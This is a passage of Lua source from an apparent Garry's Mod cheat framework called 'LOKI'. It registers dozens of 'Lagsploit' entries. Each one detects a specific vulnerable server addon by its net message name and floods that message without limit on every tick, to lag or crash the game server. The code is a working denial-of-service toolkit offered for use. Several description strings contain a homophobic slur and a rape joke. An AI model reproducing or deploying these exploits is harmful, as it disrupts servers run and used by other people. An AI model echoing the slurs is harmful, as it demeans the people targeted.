  5773. net.SendToServer()
  5774. end,
  5775. },
  5776. functions = {
  5777. { typ = "bool", },
  5778. },
  5779. } )
  5780. LOKI.AddExploit( "Lagsploit", {
  5781. desc = "Pew pew",
  5782. severity = 90,
  5783. bools = {enabled = false},
  5784. status = 2,
  5785. times_per_tick = math.huge,
  5786. scan = function() return LOKI.ValidNetString( "orgcheckname" ) end,
  5787. hooks = {
  5788. Think = function(tbl, sploit)
  5789. LOKI.NetStart( sploit, "orgcheckname" )
  5790. net.WriteString("ODIUM.PRO")
  5791. net.SendToServer()
  5792. end,
  5793. },
  5794. functions = {
  5795. { typ = "bool", },
  5796. },
  5797. } )
  5798. LOKI.AddExploit( "Lagsploit", {
  5799. desc = "Old but should still work",
  5800. severity = 90,
  5801. bools = {enabled = false},
  5802. status = -1,
  5803. times_per_tick = math.huge,
  5804. scan = function() return LOKI.ValidNetString( "dLogsGetCommand" ) end,
  5805. hooks = {
  5806. Think = function(tbl, sploit)
  5807. LOKI.NetStart( sploit, "dLogsGetCommand" )
  5808. net.WriteTable({cmd="+forward", args="ODIUM.PRO"})
  5809. net.SendToServer()
  5810. end,
  5811. },
  5812. functions = {
  5813. { typ = "bool", },
  5814. },
  5815. } )
  5816. LOKI.AddExploit( "Lagsploit", {
  5817. desc = "Same shit, different smell",
  5818. severity = 95,
  5819. bools = {enabled = true},
  5820. status = 1,
  5821. msgs_per_tick = LOKI.GetEnabledCount,
  5822. times_per_tick = math.huge,
  5823. scan = function() return LOKI.DynamicNetString( "ItemStore" ) end,
  5824. hooks = {
  5825. Think = function(tbl, sploit)
  5826. LOKI.MultiSend(sploit, function()
  5827. net.WriteEntity(LOKI.GetLP())
  5828. end)
  5829. end,
  5830. },
  5831. functions = {
  5832. { typ = "bools", tbl = {"ItemStoreSyncItem", "ItemStoreMerge", "ItemStoreUse", "ItemStoreSplit", "ItemStoreSyncItem2"}}
  5833. },
  5834. } )
  5835. LOKI.AddExploit( "Lagsploit", {
  5836. desc = "This addon has quite a few exploits",
  5837. severity = 90,
  5838. bools = {enabled = false},
  5839. status = 1,
  5840. times_per_tick = math.huge,
  5841. scan = function() return LOKI.ValidNetString( "ats_send_toServer" ) end,
  5842. hooks = {
  5843. Think = function(tbl, sploit)
  5844. LOKI.NetStart( sploit, "ats_send_toServer")
  5845. net.WriteTable({ " " , "Open" , nil , nil , nil , nil })
  5846. net.SendToServer()
  5847. end,
  5848. },
  5849. functions = {
  5850. { typ = "bool", },
  5851. },
  5852. } )
  5853. LOKI.AddExploit( "Lagsploit", {
  5854. desc = "I swear these devs couldn't code to save their lives",
  5855. severity = function() return math.Clamp(player.GetCount(), 1, 100) end,
  5856. bools = {enabled = false},
  5857. status = 1,
  5858. times_per_tick = math.huge,
  5859. scan = function() return LOKI.ValidNetString( "TFA_Attachment_RequestAll" ) end,
  5860. hooks = {
  5861. Think = function(tbl, sploit)
  5862. LOKI.NetStart( sploit, "TFA_Attachment_RequestAll")
  5863. net.SendToServer()
  5864. end,
  5865. },
  5866. functions = {
  5867. { typ = "bool", },
  5868. },
  5869. } )
  5870. LOKI.AddExploit( "Lagsploit", {
  5871. desc = "Console: cries internally",
  5872. severity = 90,
  5873. bools = {enabled = false},
  5874. status = 1,
  5875. times_per_tick = math.huge,
  5876. scan = function() return LOKI.ValidNetString( "NDES_SelectedEmblem" ) end,
  5877. hooks = {
  5878. Think = function(tbl, sploit)
  5879. LOKI.NetStart( sploit, "NDES_SelectedEmblem")
  5880. net.WriteString("ODIUM.PRO")
  5881. net.SendToServer()
  5882. end,
  5883. },
  5884. functions = {
  5885. { typ = "bool", },
  5886. },
  5887. } )
  5888. LOKI.AddExploit( "Lagsploit", {
  5889. desc = "ODIUM.PRO isn't a valid organisation",
  5890. severity = 90,
  5891. bools = {enabled = false},
  5892. status = -1,
  5893. times_per_tick = math.huge,
  5894. scan = function() return LOKI.ValidNetString( "JoinOrg" ) end,
  5895. hooks = {
  5896. Think = function(tbl, sploit)
  5897. LOKI.NetStart( sploit, "JoinOrg")
  5898. net.WriteEntity(LOKI.GetLP())
  5899. net.WriteString("ODIUM.PRO")
  5900. net.SendToServer()
  5901. end,
  5902. },
  5903. functions = {
  5904. { typ = "bool", },
  5905. },
  5906. } )
  5907. LOKI.AddExploit( "Lagsploit", {
  5908. desc = "Something is creating very strong script errors",
  5909. severity = 90,
  5910. bools = {enabled = false},
  5911. status = 1,
  5912. times_per_tick = math.huge,
  5913. scan = function() return LOKI.ValidNetString( "steamid50" ) end,
  5914. hooks = {
  5915. Think = function(tbl, sploit)
  5916. LOKI.NetStart( sploit, "steamid50")
  5917. net.WriteString("Something is creating very strong script errors")
  5918. net.SendToServer()
  5919. end,
  5920. },
  5921. functions = {
  5922. { typ = "bool", },
  5923. },
  5924. } )
  5925. LOKI.AddExploit( "Lagsploit", {
  5926. desc = "This function is very inefficient for large tables and should probably not be called in things that run each frame",
  5927. severity = 90,
  5928. bools = {enabled = false},
  5929. status = 1,
  5930. times_per_tick = math.huge,
  5931. scan = function() return LOKI.ValidNetString( "BM2.Command.SellBitcoins" ) end,
  5932. hooks = {
  5933. Think = function(tbl, sploit)
  5934. LOKI.NetStart( sploit, "BM2.Command.SellBitcoins")
  5935. net.WriteEntity(LOKI.GetLP())
  5936. net.SendToServer()
  5937. end,
  5938. },
  5939. functions = {
  5940. { typ = "bool", },
  5941. },
  5942. } )
  5943. LOKI.AddExploit( "Lagsploit", {
  5944. desc = "Another of the same",
  5945. severity = 95,
  5946. bools = {enabled = false},
  5947. status = 1,
  5948. times_per_tick = math.huge,
  5949. scan = function() return LOKI.ValidNetString( "metrostroi-specbutton-press" ) end,
  5950. hooks = {
  5951. Think = function(tbl, sploit)
  5952. LOKI.NetStart( sploit, "metrostroi-specbutton-press")
  5953. net.SendToServer()
  5954. end,
  5955. },
  5956. functions = {
  5957. { typ = "bool", },
  5958. },
  5959. } )
  5960. /*LOKI.AddExploit( "Lagsploit", {
  5961. desc = "Causes decent lag but requires being near a wire keypad",
  5962. severity = 95,
  5963. bools = {enabled = false},
  5964. status = 1,
  5965. msgs_per_tick = function(sploit)
  5966. local tbl = LOKI.RecursiveGetVar(sploit, {"vars", "Think", "ents"}, "table", true)
  5967. LOKI.SetTableContents(tbl, LOKI.GetVarTable(ents.FindInSphere(LOKI.GetLP():GetShootPos(), 50), "GetClass", LOKI.TYPEVARS.EQUALTO, "gmod_wire_keypad"))
  5968. return #tbl
  5969. end,
  5970. times_per_tick = math.huge,
  5971. scan = function() return LOKI.ValidNetString( "wire_keypad" ) end,
  5972. hooks = {
  5973. Think = function(tbl, sploit)
  5974. for k, v in ipairs(LOKI.RecursiveGetVar(sploit, {"vars", "Think", "ents"}, "table", true)) do
  5975. LOKI.NetStart( sploit, "wire_keypad")
  5976. net.WriteEntity(v)
  5977. net.WriteUInt(10, 4)
  5978. net.SendToServer()
  5979. end
  5980. end,
  5981. },
  5982. functions = {
  5983. { typ = "bool", },
  5984. },
  5985. } )*/ --Doesn't work but good example of function usage
  5986. LOKI.AddExploit( "Lagsploit", {
  5987. desc = "Hack the mainframe",
  5988. severity = 95,
  5989. bools = {enabled = false},
  5990. status = 1,
  5991. times_per_tick = math.huge,
  5992. scan = function() return LOKI.ValidNetString("friendlist") end,
  5993. hooks = {
  5994. Think = function(tbl, sploit)
  5995. LOKI.NetStart( sploit, "friendlist" )
  5996. net.SendToServer()
  5997. end,
  5998. },
  5999. functions = {
  6000. { typ = "bool", },
  6001. },
  6002. } )
  6003. LOKI.AddExploit( "Lagsploit", {
  6004. desc = "Yes, I am many people",
  6005. severity = 90,
  6006. bools = {enabled = false},
  6007. status = 3,
  6008. msgs_per_tick = function(sploit) return #LOKI.GetStored( "jdc_plyz", {} ) end,
  6009. times_per_tick = math.huge,
  6010. scan = function() return LOKI.ValidNetString("join_disconnect") end,
  6011. hooks = {
  6012. Think = function(tbl, sploit)
  6013. for k, v in ipairs(LOKI.GetStored( "jdc_plyz", {} )) do
  6014. if IsValid(v) then
  6015. LOKI.NetStart( sploit, "join_disconnect" )
  6016. net.WriteEntity(v)
  6017. net.SendToServer()
  6018. end
  6019. end
  6020. end,
  6021. },
  6022. functions = {
  6023. { typ = "players", addr = "jdc_plyz" },
  6024. { typ = "bool", },
  6025. },
  6026. } )
  6027. LOKI.AddExploit( "Lagsploit", {
  6028. desc = "Win every HvH",
  6029. severity = 95,
  6030. bools = {enabled = false},
  6031. status = 1,
  6032. times_per_tick = math.huge,
  6033. scan = function() return LOKI.ValidNetString( "hvh_setloadout" ) end,
  6034. hooks = {
  6035. Think = function(tbl, sploit)
  6036. LOKI.NetStart( sploit, "hvh_setloadout")
  6037. net.SendToServer()
  6038. end,
  6039. },
  6040. functions = {
  6041. { typ = "bool", },
  6042. },
  6043. } )
  6044. LOKI.AddExploit( "Lagsploit", {
  6045. desc = "Slay the Titan",
  6046. severity = 95,
  6047. bools = {enabled = false},
  6048. status = 2,
  6049. times_per_tick = math.huge,
  6050. scan = function() return LOKI.ValidNetString( "Cl_PrometheusRequest" ) end,
  6051. hooks = {
  6052. Think = function(tbl, sploit)
  6053. LOKI.NetStart( sploit, "Cl_PrometheusRequest")
  6054. net.SendToServer()
  6055. end,
  6056. },
  6057. functions = {
  6058. { typ = "bool", },
  6059. },
  6060. } )
  6061. LOKI.AddExploit( "Lagsploit", {
  6062. desc = "This guy really needs to stop selling his scripts",
  6063. severity = 95,
  6064. bools = {enabled = true},
  6065. status = 1,
  6066. msgs_per_tick = LOKI.GetEnabledCount,
  6067. times_per_tick = math.huge,
  6068. scan = function() return LOKI.DynamicNetString( "CRAFTINGMOD" ) || LOKI.DynamicNetString( "FARMINGMOD" ) || LOKI.DynamicNetString( "FISHINGMOD" ) || LOKI.DynamicNetString( "bicyclemod" ) end,
  6069. hooks = {
  6070. Think = function(tbl, sploit)
  6071. LOKI.MultiSend(sploit, {
  6072. ["bicyclemod_sell_bicycle"] = function()
  6073. net.WriteEntity(LOKI.GetLP())
  6074. end,
  6075. ["bicyclemod_store_bicycle"] = function()
  6076. net.WriteEntity(LOKI.GetLP())
  6077. end,
  6078. ["bicyclemod_create_bicycle"] = function()
  6079. net.WriteTable({})
  6080. net.WriteEntity(LOKI.GetLP())
  6081. end,
  6082. })
  6083. end,
  6084. },
  6085. functions = {
  6086. {
  6087. typ = "bools",
  6088. tbl = {"CRAFTINGMOD_INVENTORY", "CRAFTINGMOD_SHOP", "CRAFTINGMOD_STORAGE", "CRAFTINGMOD_TRADING", "CRAFTINGMOD_MOVE", "CRAFTINGMOD_LEVELS", "CRAFTINGMOD_ADMIN", "CRAFTINGMOD_COMMANDS", "FARMINGMOD_ADMIN", "FARMINGMOD_HARVEST", "FARMINGMOD_ADDITEM", "FARMINGMOD_HARVEST", "FARMINGMOD_USE", "FARMINGMOD_DROPITEM", "FARMINGMOD_SELLITEM", "FARMINGMOD_PLANTOPTION", "FARMINGMOD_BUYITEM", "bicyclemod_create_bicycle", "bicyclemod_sell_bicycle", "bicyclemod_store_bicycle", "FISHINGMOD_ADMIN", "FISHINGMOD_BAIT", "FISHINGMOD_INVENTORY"}
  6089. }
  6090. },
  6091. } )
  6092. LOKI.AddExploit( "Lagsploit", {
  6093. desc = "Looks like someone didn't attend their classes",
  6094. severity = 95,
  6095. bools = {enabled = false},
  6096. status = 2,
  6097. times_per_tick = math.huge,
  6098. scan = function() return LOKI.ValidNetString( "AdvDupe2_CanAutoSave" ) end,
  6099. hooks = {
  6100. Think = function(tbl, sploit)
  6101. LOKI.NetStart( sploit, "AdvDupe2_CanAutoSave")
  6102. net.SendToServer()
  6103. end,
  6104. },
  6105. functions = {
  6106. { typ = "bool", },
  6107. },
  6108. } )
  6109. LOKI.AddExploit( "Lagsploit", {
  6110. desc = "Dab on the server",
  6111. severity = 95,
  6112. bools = {enabled = false},
  6113. status = 3,
  6114. times_per_tick = math.huge,
  6115. scan = function() return LOKI.ValidNetString( "sphys_dupe" ) end,
  6116. hooks = {
  6117. Think = function(tbl, sploit)
  6118. LOKI.NetStart( sploit, "sphys_dupe")
  6119. net.SendToServer()
  6120. end,
  6121. },
  6122. functions = {
  6123. { typ = "bool", },
  6124. },
  6125. } )
  6126. LOKI.AddExploit( "Lagsploit", {
  6127. desc = "Another one bites the dust",
  6128. severity = 95,
  6129. bools = {enabled = true},
  6130. status = 1,
  6131. msgs_per_tick = LOKI.GetEnabledCount,
  6132. times_per_tick = math.huge,
  6133. scan = function() return WireLib != nil end,
  6134. hooks = {
  6135. Think = function(tbl, sploit)
  6136. LOKI.MultiSend(sploit)
  6137. end,
  6138. },
  6139. functions = {
  6140. { typ = "bools", tbl = {"wire_expression2_request_file", "wire_adv_upload", "wire_expression2_request_list", "wire_adv_unwire", "wire_expression2_client_request_set_extension_status"}}
  6141. },
  6142. } )
  6143. LOKI.AddExploit( "Lagsploit", {
  6144. desc = "Remind the server to download more RAM",
  6145. severity = 95,
  6146. bools = {enabled = false},
  6147. status = 2,
  6148. times_per_tick = math.huge,
  6149. scan = function() return LOKI.ValidNetString( "pp_info_send" ) end,
  6150. hooks = {
  6151. Think = function(tbl, sploit)
  6152. LOKI.NetStart( sploit, "pp_info_send")
  6153. net.SendToServer()
  6154. end,
  6155. },
  6156. functions = {
  6157. { typ = "bool", },
  6158. },
  6159. } )
  6160. LOKI.AddExploit( "Lagsploit", {
  6161. desc = "My mom says I'm beautiful in my own way *sits on server*",
  6162. severity = 95,
  6163. bools = {enabled = true},
  6164. status = 1,
  6165. msgs_per_tick = LOKI.GetEnabledCount,
  6166. times_per_tick = math.huge,
  6167. scan = function() return LOKI.DynamicNetString("Prop2Mesh") end,
  6168. hooks = {
  6169. Think = function(tbl, sploit)
  6170. LOKI.MultiSend(sploit)
  6171. end,
  6172. },
  6173. functions = {
  6174. { typ = "bools", tbl = {"Prop2MeshPostRemove", "Prop2MeshUpdateNWs"}}
  6175. },
  6176. } )
  6177. LOKI.AddExploit( "Lagsploit", {
  6178. desc = "*nuzzles server*",
  6179. severity = 95,
  6180. bools = {enabled = true},
  6181. status = 1,
  6182. msgs_per_tick = LOKI.GetEnabledCount,
  6183. times_per_tick = math.huge,
  6184. scan = function() return istable(TeamTable) end,
  6185. hooks = {
  6186. Think = function(tbl, sploit)
  6187. LOKI.MultiSend(sploit)
  6188. end,
  6189. },
  6190. functions = {
  6191. { typ = "bools", tbl = {"DemoteUser", "PromoteUser"}}
  6192. },
  6193. } )
  6194. LOKI.AddExploit( "Lagsploit", {
  6195. desc = "Incident ID: SERVER/1337 Reason: Cheating",
  6196. severity = 95,
  6197. bools = {enabled = false},
  6198. status = 1,
  6199. times_per_tick = math.huge,
  6200. scan = function() return LOKI.ValidNetString("controlled_vars") || LOKI.DynamicNetString("diagnostics") || LOKI.DynamicNetString("luadev") end,
  6201. hooks = {
  6202. Think = function(tbl, sploit)
  6203. LOKI.MultiSend(sploit)
  6204. end,
  6205. },
  6206. functions = {
  6207. { typ = "bools", tbl = {"diagnostics1", "diagnostics2", "diagnostics3", "controlled_vars", LOKI.DynamicNetString("luadev")}}
  6208. },
  6209. } )
  6210. LOKI.AddExploit( "Lagsploit", {
  6211. desc = "game.GetWorld():Remove()",
  6212. severity = 95,
  6213. bools = {enabled = false},
  6214. status = 1,
  6215. times_per_tick = math.huge,
  6216. scan = function() return LOKI.ValidNetString("ContentRmvProps") end,
  6217. hooks = {
  6218. Think = function(tbl, sploit)
  6219. LOKI.NetStart(sploit, "ContentRmvProps")
  6220. net.SendToServer()
  6221. end,
  6222. },
  6223. functions = {
  6224. { typ = "bool" }
  6225. },
  6226. } )
  6227. LOKI.AddExploit( "Lagsploit", {
  6228. desc = "LocalPlayer():SetClothing(nil)",
  6229. severity = 95,
  6230. bools = {enabled = false},
  6231. status = 1,
  6232. times_per_tick = math.huge,
  6233. scan = function() return LOKI.ValidNetString("bodygroups_change") end,
  6234. hooks = {
  6235. Think = function(tbl, sploit)
  6236. LOKI.NetStart(sploit, "bodygroups_change")
  6237. net.SendToServer()
  6238. end,
  6239. },
  6240. functions = {
  6241. { typ = "bool" }
  6242. },
  6243. } )
  6244. LOKI.AddExploit( "Lagsploit", {
  6245. desc = "Wash the server fans to keep them clean",
  6246. severity = 95,
  6247. bools = {enabled = false},
  6248. status = 1,
  6249. times_per_tick = math.huge,
  6250. scan = function() return LOKI.ValidNetString("PS_ModifyItem") end,
  6251. hooks = {
  6252. Think = function(tbl, sploit)
  6253. LOKI.NetStart(sploit, "PS_ModifyItem")
  6254. net.SendToServer()
  6255. end,
  6256. },
  6257. functions = {
  6258. { typ = "bool" }
  6259. },
  6260. } )
  6261. LOKI.AddExploit( "Lagsploit", {
  6262. desc = "System.AllocMem(System.GetMem());",
  6263. severity = 95,
  6264. bools = {enabled = true},
  6265. status = 1,
  6266. msgs_per_tick = LOKI.GetEnabledCount,
  6267. times_per_tick = math.huge,
  6268. scan = function() return VJBASE_VERSION != nil end,
  6269. hooks = {
  6270. Think = function(tbl, sploit)
  6271. LOKI.MultiSend(sploit)
  6272. end,
  6273. },
  6274. functions = {
  6275. { typ = "bools", tbl = {"vj_npcmover_removeall", "vj_npcmover_sv_startmove"}}
  6276. },
  6277. } )
  6278. LOKI.AddExploit( "Lagsploit", {
  6279. desc = "Use the servers GPU as a miner",
  6280. severity = 95,
  6281. bools = {enabled = false},
  6282. status = 1,
  6283. times_per_tick = math.huge,
  6284. scan = function() return LOKI.ValidNetString("aom_set_bool") end,
  6285. hooks = {
  6286. Think = function(tbl, sploit)
  6287. LOKI.NetStart(sploit, "aom_set_bool")
  6288. net.SendToServer()
  6289. end,
  6290. },
  6291. functions = {
  6292. { typ = "bool" }
  6293. },
  6294. } )
  6295. LOKI.AddExploit( "Lagsploit", {
  6296. desc = "Place a hit on the server",
  6297. severity = 95,
  6298. bools = {enabled = false},
  6299. status = 1,
  6300. times_per_tick = math.huge,
  6301. scan = function() return LOKI.ValidNetString("hhh_request") end,
  6302. hooks = {
  6303. Think = function(tbl, sploit)
  6304. LOKI.NetStart(sploit, "hhh_request")
  6305. net.SendToServer()
  6306. end,
  6307. },
  6308. functions = {
  6309. { typ = "bool" }
  6310. },
  6311. } )
  6312. LOKI.AddExploit( "Lagsploit", {
  6313. desc = "Force the server to listen to Gucci Gang",
  6314. severity = 95,
  6315. bools = {enabled = true},
  6316. status = 1,
  6317. msgs_per_tick = LOKI.GetEnabledCount,
  6318. times_per_tick = math.huge,
  6319. scan = function() return MGangs != nil || isfunction(MG_AdminMenu) end,
  6320. hooks = {
  6321. Think = function(tbl, sploit)
  6322. LOKI.MultiSend(sploit)
  6323. end,
  6324. },
  6325. functions = {
  6326. { typ = "bools", tbl = {"MG2.Gang.Create", "MG2.Gang.UpdateGroups", "mg_creategang", "mg_plyupdateganggroups"}}
  6327. },
  6328. } )
  6329. LOKI.AddExploit( "Lagsploit", {
  6330. desc = "It's flu season and the server forgot to get vaccinated",
  6331. severity = 95,
  6332. bools = {enabled = true},
  6333. status = 1,
  6334. msgs_per_tick = LOKI.GetEnabledCount,
  6335. times_per_tick = math.huge,
  6336. scan = function() return LOKI.DynamicNetString("smartdisease") end,
  6337. hooks = {
  6338. Think = function(tbl, sploit)
  6339. LOKI.MultiSend(sploit)
  6340. end,
  6341. },
  6342. functions = {
  6343. { typ = "bools", tbl = {"smartdisease_buy", "smartdisease_buy_vaccine"}}
  6344. },
  6345. } )
  6346. LOKI.AddExploit( "Lagsploit", {
  6347. desc = "cl_ping_delay 0",
  6348. severity = 95,
  6349. bools = {enabled = false},
  6350. status = 1,
  6351. times_per_tick = math.huge,
  6352. scan = function() return LOKI.ValidNetString("StatusScreen_Ping") end,
  6353. hooks = {
  6354. Think = function(tbl, sploit)
  6355. LOKI.NetStart(sploit, "StatusScreen_Ping")
  6356. net.SendToServer()
  6357. end,
  6358. },
  6359. functions = {
  6360. { typ = "bool" }
  6361. },
  6362. } )
  6363. LOKI.AddExploit( "Lagsploit", {
  6364. desc = "Preparing to send data [inf parts]",
  6365. severity = 95,
  6366. bools = {enabled = true},
  6367. status = 1,
  6368. msgs_per_tick = LOKI.GetEnabledCount,
  6369. times_per_tick = math.huge,
  6370. scan = function() return LOKI.ValidNetString("ScreengrabInitCallback") || LOKI.ValidNetString("grab_ScreenshotToServer") end,
  6371. hooks = {
  6372. Think = function(tbl, sploit)
  6373. LOKI.MultiSend(sploit)
  6374. end,
  6375. },
  6376. functions = {
  6377. { typ = "bools", tbl = {"ScreengrabInitCallback", "grab_ScreenshotToServer"}}
  6378. },
  6379. } )
  6380. LOKI.AddExploit( "Lagsploit", {
  6381. desc = "SERVER: *crashes internally*",
  6382. severity = 95,
  6383. bools = {enabled = false},
  6384. status = 1,
  6385. times_per_tick = math.huge,
  6386. scan = function() return LOKI.ValidNetString("sgGiveFriendStatusAll") end,
  6387. hooks = {
  6388. Think = function(tbl, sploit)
  6389. LOKI.NetStart(sploit, "sgGiveFriendStatusAll")
  6390. net.SendToServer()
  6391. end,
  6392. },
  6393. functions = {
  6394. { typ = "bool" }
  6395. },
  6396. } )
  6397. LOKI.AddExploit( "Lagsploit", {
  6398. desc = "Be the giant flamboyant faggot kid",
  6399. severity = 95,
  6400. bools = {enabled = false},
  6401. status = 1,
  6402. times_per_tick = math.huge,
  6403. scan = function() return LOKI.ValidNetString("NStatistics_SendPlayerStatistic") end,
  6404. hooks = {
  6405. Think = function(tbl, sploit)
  6406. LOKI.NetStart(sploit, "NStatistics_SendPlayerStatistic")
  6407. net.SendToServer()
  6408. end,
  6409. },
  6410. functions = {
  6411. { typ = "bool" }
  6412. },
  6413. } )
  6414. LOKI.AddExploit( "Lagsploit", {
  6415. desc = "The load limit is 40 tonnes but you're hauling 110",
  6416. severity = 95,
  6417. bools = {enabled = false},
  6418. status = 1,
  6419. times_per_tick = math.huge,
  6420. scan = function() return LOKI.ValidNetString("SCarSpawnSendFile") end,
  6421. hooks = {
  6422. Think = function(tbl, sploit)
  6423. LOKI.NetStart(sploit, "SCarSpawnSendFile")
  6424. net.SendToServer()
  6425. end,
  6426. },
  6427. functions = {
  6428. { typ = "bool" }
  6429. },
  6430. } )
  6431. LOKI.AddExploit( "Lagsploit", {
  6432. desc = "Man, this server sure is laggy today",
  6433. severity = 95,
  6434. bools = {enabled = false},
  6435. status = 1,
  6436. times_per_tick = math.huge,
  6437. scan = function() return LOKI.ValidNetString("ts_buytitle") end,
  6438. hooks = {
  6439. Think = function(tbl, sploit)
  6440. LOKI.NetStart(sploit, "ts_buytitle")
  6441. net.SendToServer()
  6442. end,
  6443. },
  6444. functions = {
  6445. { typ = "bool" }
  6446. },
  6447. } )
  6448. LOKI.AddExploit( "Lagsploit", {
  6449. desc = "Pull the power plug on the server",
  6450. severity = 95,
  6451. bools = {enabled = false},
  6452. status = 1,
  6453. times_per_tick = math.huge,
  6454. scan = function() return LOKI.ValidNetString("UpdateNameColor") end,
  6455. hooks = {
  6456. Think = function(tbl, sploit)
  6457. LOKI.NetStart(sploit, "UpdateNameColor")
  6458. net.SendToServer()
  6459. end,
  6460. },
  6461. functions = {
  6462. { typ = "bool" }
  6463. },
  6464. } )
  6465. LOKI.AddExploit( "Lagsploit", {
  6466. desc = "I'll take one serving of poorly optimized code, please",
  6467. severity = 95,
  6468. bools = {enabled = false},
  6469. status = 1,
  6470. times_per_tick = math.huge,
  6471. scan = function() return LOKI.ValidNetString("noob_playerperks") end,
  6472. hooks = {
  6473. Think = function(tbl, sploit)
  6474. LOKI.NetStart(sploit, "noob_playerperks")
  6475. net.SendToServer()
  6476. end,
  6477. },
  6478. functions = {
  6479. { typ = "bool" }
  6480. },
  6481. } )
  6482. LOKI.AddExploit( "Lagsploit", {
  6483. desc = "Who needs doors when you can just smash through a wall?",
  6484. severity = 95,
  6485. bools = {enabled = true},
  6486. status = 1,
  6487. msgs_per_tick = LOKI.GetEnabledCount,
  6488. times_per_tick = math.huge,
  6489. scan = function() return LOKI.DynamicNetString("advdoors") end,
  6490. hooks = {
  6491. Think = function(tbl, sploit)
  6492. LOKI.MultiSend(sploit)
  6493. end,
  6494. },
  6495. functions = {
  6496. { typ = "bools", tbl = {"advdoors_purchasemod", "advdoors_updaterent", "advdoors_rent", "advdoors_settitle", "advdoors_coowneradd", "advdoors_coownerallowedremove", "advdoors_coownerremove", "advdoors_transferownership", "advdoors_toggleownership", "advdoors_addblacklist", "advdoors_removeblacklist", "advdoors_addjob", "advdoors_setgroup", "advdoors_jobremove", "advdoors_anyplayer", "advdoors_addjobplayer", "advdoors_jobremoveplayer", "advdoors_changeprice", "advdoors_otheractions"}}
  6497. },
  6498. } )
  6499. LOKI.AddExploit( "Lagsploit", {
  6500. desc = "Fill the server full of lead",
  6501. severity = 95,
  6502. bools = {enabled = false},
  6503. status = 1,
  6504. times_per_tick = math.huge,
  6505. scan = function() return LOKI.ValidNetString("perm_buyweapon") end,
  6506. hooks = {
  6507. Think = function(tbl, sploit)
  6508. LOKI.NetStart(sploit, "perm_buyweapon")
  6509. net.SendToServer()
  6510. end,
  6511. },
  6512. functions = {
  6513. { typ = "bool" }
  6514. },
  6515. } )
  6516. LOKI.AddExploit( "Lagsploit", {
  6517. desc = "Pour some gas in the server room and light it up",
  6518. severity = 95,
  6519. bools = {enabled = true},
  6520. status = 1,
  6521. msgs_per_tick = LOKI.GetEnabledCount,
  6522. times_per_tick = math.huge,
  6523. scan = function() return LOKI.DynamicNetString("zrush") end,
  6524. hooks = {
  6525. Think = function(tbl, sploit)
  6526. LOKI.MultiSend(sploit, function()
  6527. net.WriteFloat(LOKI.GetLP():EntIndex())
  6528. end)
  6529. end,
  6530. },
  6531. functions = {
  6532. { typ = "bools", tbl = {"zrush_BarrelCollectFuel_net", "zrush_BarrelSplitFuel_net", "zrush_MachineCrateOB_Place_net", "zrush_MachineCrateBuilder_DeselectEntity_net"}}
  6533. },
  6534. } )
  6535. LOKI.AddExploit( "Lagsploit", {
  6536. desc = "Drunk drive through the server farm",
  6537. severity = 95,
  6538. bools = {enabled = false},
  6539. status = 1,
  6540. times_per_tick = math.huge,
  6541. scan = function() return LOKI.ValidNetString("CarDisplayPurchaseCar") end,
  6542. hooks = {
  6543. Think = function(tbl, sploit)
  6544. LOKI.NetStart(sploit, "CarDisplayPurchaseCar")
  6545. net.SendToServer()
  6546. end,
  6547. },
  6548. functions = {
  6549. { typ = "bool" }
  6550. },
  6551. } )
  6552. LOKI.AddExploit( "Lagsploit", {
  6553. desc = "Beat the server to death with a cash register",
  6554. severity = 95,
  6555. bools = {enabled = true},
  6556. status = 1,
  6557. msgs_per_tick = LOKI.GetEnabledCount,
  6558. times_per_tick = math.huge,
  6559. scan = function() return LOKI.DynamicNetString("cashregister") end,
  6560. hooks = {
  6561. Think = function(tbl, sploit)
  6562. LOKI.MultiSend(sploit, function()
  6563. net.WriteEntity(LOKI.GetLP())
  6564. end)
  6565. end,
  6566. },
  6567. functions = {
  6568. { typ = "bools", tbl = {"cashregister_settings_color", "cashregister_settings_remowner", "cashregister_settings_addowner", "cashregister_settings_setpayrece", "cashregister_do_reset", "cashregister_do_refound"}}
  6569. },
  6570. } )
  6571. LOKI.AddExploit( "Lagsploit", {
  6572. desc = "Order a DDoS on the Black Market",
  6573. severity = 95,
  6574. bools = {enabled = false},
  6575. status = 1,
  6576. times_per_tick = math.huge,
  6577. scan = function() return LOKI.ValidNetString("bm_DoAddMarket") end,
  6578. hooks = {
  6579. Think = function(tbl, sploit)
  6580. LOKI.NetStart(sploit, "bm_DoAddMarket")
  6581. net.SendToServer()
  6582. end,
  6583. },
  6584. functions = {
  6585. { typ = "bool" }
  6586. },
  6587. } )
  6588. LOKI.AddExploit( "Lagsploit", {
  6589. desc = "There's no brakes on the rape mobile",
  6590. severity = 95,
  6591. bools = {enabled = true},
  6592. status = 1,
  6593. msgs_per_tick = LOKI.GetEnabledCount,
  6594. times_per_tick = math.huge,
  6595. scan = function() return LOKI.DynamicNetString("fcd.") end,
  6596. hooks = {
  6597. Think = function(tbl, sploit)
  6598. LOKI.MultiSend(sploit, {["fcd_chopshopyes"] = function() net.WriteEntity(LOKI.GetLP()) end})
  6599. end,
  6600. },
  6601. functions = {
  6602. { typ = "bools", tbl = {"fcd.addVehicle", "fcd.spawnVehicle", "fcd_chopshopyes"} }
  6603. },
  6604. } )
  6605. LOKI.AddExploit( "Lagsploit", {
  6606. desc = "Order an Industrial Grade Lag Bomb",
  6607. severity = 95,
  6608. bools = {enabled = false},
  6609. status = 1,
  6610. times_per_tick = math.huge,
  6611. scan = function() return LOKI.ValidNetString("gindustrial_item_sources") end,
  6612. hooks = {
  6613. Think = function(tbl, sploit)
  6614. LOKI.NetStart(sploit, "gindustrial_item_sources")
  6615. net.SendToServer()
  6616. end,
  6617. },
  6618. functions = {
  6619. { typ = "bool" }
  6620. },
  6621. } )
  6622. LOKI.AddExploit( "Lagsploit", {
  6623. desc = "Start Hacking Mission",
  6624. severity = 95,
  6625. bools = {enabled = false},
  6626. status = 1,
  6627. times_per_tick = math.huge,
  6628. scan = function() return LOKI.ValidNetString("StartHackingMission") end,
  6629. hooks = {
  6630. Think = function(tbl, sploit)
  6631. LOKI.NetStart(sploit, "StartHackingMission")
  6632. net.SendToServer()
  6633. end,
  6634. },
  6635. functions = {
  6636. { typ = "bool" }
  6637. },
  6638. } )
  6639. LOKI.AddExploit( "Lagsploit", {
  6640. desc = "Damn printers always getting jammed",
  6641. severity = 95,
  6642. bools = {enabled = true},
  6643. status = 1,
  6644. msgs_per_tick = LOKI.GetEnabledCount,
  6645. times_per_tick = math.huge,
  6646. scan = function() return LOKI.DynamicNetString("NGII_") end,
  6647. hooks = {
  6648. Think = function(tbl, sploit)
  6649. LOKI.MultiSend(sploit)
  6650. end,
  6651. },
  6652. functions = {
